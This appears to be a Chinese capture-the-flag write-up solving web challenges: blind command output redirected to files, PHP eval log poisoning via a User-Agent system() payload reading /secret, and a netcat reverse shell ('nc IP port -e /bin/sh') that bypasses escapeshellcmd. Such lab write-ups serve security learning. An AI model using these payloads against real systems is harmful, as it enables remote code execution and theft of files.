web签到
执行命令没有回显,我们直接写文件就可以了
有字符长度限制
ls />a
nl /*>a
访问url/api/a
下载文件
easy_calc
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
正则EXP
<?php
$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";
// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(
range('!', '/'), // 特殊字符
range(':', '@'), // 特殊字符
range('[', '`'), // 特殊字符
range('{', '~'), // 特殊字符
range('0', '9'), // 数字
range('A', 'Z'), // 大写字母
range('a', 'z') // 小写字母
);
$unmatched_chars = [];
foreach ($all_chars as $char) {
if (!preg_match($pattern, $char)) {
$unmatched_chars[] = $char;
}
}
if (empty($unmatched_chars)) {
echo "所有字符都被匹配了。\n";
} else {
echo "未匹配到的字符有:\n";
foreach ($unmatched_chars as $char) {
echo $char . " ";
}
echo "\n";
}
?>
第一个正则
" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用
第二个正则
! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~
大小写字母和数字
POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1
UA:
<?=system('ls /');?>
<?=system('cat /secret')?>
包含日志文件
easy_cmd
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
exec(escapeshellcmd($cmd));
}
?>
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
进行转义之后就会进行shell
命令但是不能使用带参数的命令
那么我们就反弹shell
POST:
cmd=nc IP port -e /bin/sh
然后监听端口进行rce即可
easy_sql
欠着